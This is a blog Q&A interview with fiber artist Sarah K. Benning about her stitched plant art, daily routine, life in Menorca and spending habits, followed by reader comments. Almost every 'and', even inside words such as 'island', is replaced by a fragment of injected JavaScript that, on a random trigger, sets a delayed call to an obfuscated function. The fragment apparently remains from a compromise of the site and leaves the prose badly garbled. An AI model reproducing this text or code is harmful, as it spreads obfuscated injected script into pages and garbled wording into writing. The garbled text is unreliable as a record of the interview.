Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain

Everything we do at Sycamore Street Press is with the goal of living a simple, beautiful & creative life, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in helping others do the same. There are so many people who have inspired us on this path, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we’d love to learn more from them! So we decided to start an interview series on the topic. Today we’ll hear from Sarah K. Benning, an American fiber artist currently living in Menorca, Spain.

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

Tell us a little about how you got starting doing botanical fiber art.

My stitched plant series (can it still be called a single series when it is actually now 98% of what I make?) started about 2 years ago when I was living andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and working from a small apartment in Albany, NY. If you’ve never been to Albany, it’s freezing cold andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and dark for what feels like 10 months out of the year. Definitely not super conditions for a thriving plant family, but those conditions didn’t stop me from amassing a large collection of potted houseplants andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and cacti. Unfortunately, only a few of them feebly held on until spring. Their stitched counterparts became a lasting memorials to the lost greenery andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and served as a kind of wish-list for future plants.  

Now, living andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and working from a sunny apartment in Menorca, Spain, the abundance of greenery, foliage andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and cacti alike, has only fed my passion for plants. Botanical subject matter continues to be a source of inspiration andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a major character in my compositions.

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

Can you describe a “typical” day in your life?

I usually wake up with the sun. I absolutely hate alarm clocks andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I avoid them at all costs. In the years leading up to full-time self-employment, I worked lots of odd jobs that usually started very early in the morning. Letting myself sleep in is a small luxury that I try to allow myself regularly. I start coffee right away andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and usually make daily, weekly, monthly, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and long term To-Do lists while I wait for it to brew. My lists are often far longer than is realistic, but I find getting my goals onto paper helps me visualise andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and plan, even if I’m not able to cross everything off as quickly as I’d like.

My favourite days are when I am caught up on emails, don’t have any web stuff to deal with andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and can just sew andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and draw all day. Those days are rare. Because I am a one-woman-show (though I sometimes get help from my incredibly supportive partner), I am responsible for not only the design andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and production of my stitched pieces, but also every other aspect of my business like website maintenance, social media, order fulfillment, customer service, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and financial planning.  I try to break up the less enjoyable tasks into manageable chunks andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and chip away at them a little bit every day.

Otherwise, my days are fairly flexible andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and unstructured, though usually very long. I work very intuitively, often working on andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and off on several projects at once andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and typically spend about 10 hours in the studio everyday. I listen to audiobooks andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and podcasts andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and probably watch more Netflix than I should while I stitch.

My evenings are spent with my partner watching movies andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and exploring Mahón.

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

How do you make sure you have time with your family/loved ones?

I am not sure I have fully achieved the elusive work/life balance, but I’m keeping my fingers crossed that I figure it out someday! While I am here in Spain, I am very far from my family who are all back in the US, though I just got back from a mini vacation with my mom. She travelled a solid 24 hours to visit me on this little islandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and, confirming my belief that moms are actually just super heroes.  

Most of the time, I only manage a semblance of balance with the help of my soon-to-be husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and. He makes sure I eat properly andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and reminds me to take breaks when I need them, even in the most stressful andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and busy times. We have a standom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding date day every week dedicated to exploring Menorca andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and spending time together. It’s not always easy. I always seem to have a tiny voice in the back of my head reminding me of all the things that need my attention in the studio, but he definitely helps keep me sane andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and prevents me from completely exhausting myself andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and burning out.

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

How do you carve out time for yourself?

It can be tricky, but luckily for me, I feel the most calm andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and relaxed when I am embroidering. I first started stitching purely as a hobby. There is a meditative quality to the repetitive nature of stitching andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I feel incredibly fortunate to have been able to turn it into my livelihood.

What are the top things you do to maintain your sanity andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and your health?

For me, building a support network of friends, family, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fellow makers has been essential for keeping it all together. Even if these relationships are maintained mostly through the internet these days, it’s amazing to have people to bounce ideas off of or vent after a frustrating day in the studio.

I also work a few hours every week as an English-speaking TA in a local elementary school. Basically, I’ve had an ongoing cold for the last 6 months, but man my immune system is going to be invincible by the end of this year!

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

Do you have any tips for simplifying?

I’m still trying to figure it out. As the demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and for my work has grown, the pressures andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stresses of running my own business have grown too. I love what I do andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and am so grateful for the support andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and interest in my work I have received (andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and will hopefully continue to receive), but sometimes I just have to draw a line andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and declare down time even if there are emails to be answered, orders to be shipped, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and deadlines approaching. Some days I am better at the separation than others andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and allowing myself a break from the studio or a break from customer service leads to much more productive time when I come back to work.

What’s your favorite way to bring a little beauty into your home?

My life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and studio are a bit nomadic at the moment andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and all of my furniture andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and artwork are packed away in storage while I am in Spain. I crammed my wardrobe andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and studio into a suitcase 6 months ago andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have another few months before I head home. I am super tired of the 4 outfits I have here andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it’s been a challenge making a temporary furnished rental feel like home. Immediately after signing our lease andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and before we bought necessities like towels andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and sheets, we found a local plant shop andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the greenery definitely helps. I have big plans for our next more-permanent living space though andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I always set aside a percentage of all of my sales to spend on other artists’ work. My wish-list is getting pretty long, so I hope we find a place with a lot of wall space in the coming years!

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

What are you looking for in products that you choose to spend money on?

I am at a transitional point in my life, just past my broke-art-school-student days andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and not quite into my adult ‘I can spend $38 on a tea towel’ phase. I try to be very careful with my money (I have worked incredibly hard for it!!!) andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and try to only buy necessities that balance function andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and form. I definitely value craftsmanship andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and am happy andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and willing to spend a little more for quality, especially when I know where andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and who it is coming from. We live in such a golden age for both makers andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and consumers. The internet has allowed so many artists/artisans/designers to reach the public, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and as a consumer I want to conscientiously support these independent makers.

What does living a “simple yet beautiful” life mean to you?
To me, living a ‘simple yet beautiful’ life means living with integrity, setting goals andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and working to achieve them, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and appreciating the successes andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and learning from the failures along the way.

Sycamore Q&A: Sarah K. Benning, Fiber Artist | Menorca, Spain | Sycamore

 

Photos courtesy of Sarah K. Benning. (Also find Sarah on Instagram!)

You might also like: Sycamore Q&A: Janneke Luursema, Photographer | Amsterdam, Netherlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands, Desert Dreaming, & 10 Textile Ideas to Obsess Over.

6 Comments

Leave a Comment to Micayla

  1. Jordan says:

    I love reading interviews. I feel so inspired after reading this interview. The answers are so human.

  2. Micayla says:

    What an inspiring post. I absolutely love learning more about the behind the scenes lives of the makers I admire. What a treat! Thanks for sharing with us :)

  3. I am so inspired after reading this article – it is so refreshing to see someone doing something they love with so much dedication, and I feel this really shows through Sarah’s artworks. And it is true that as artists we are very blessed in this day and age to have the internet so that we can truly be living out our dreams. I won’t forget this interview as I follow my own goals of being an independent artist!

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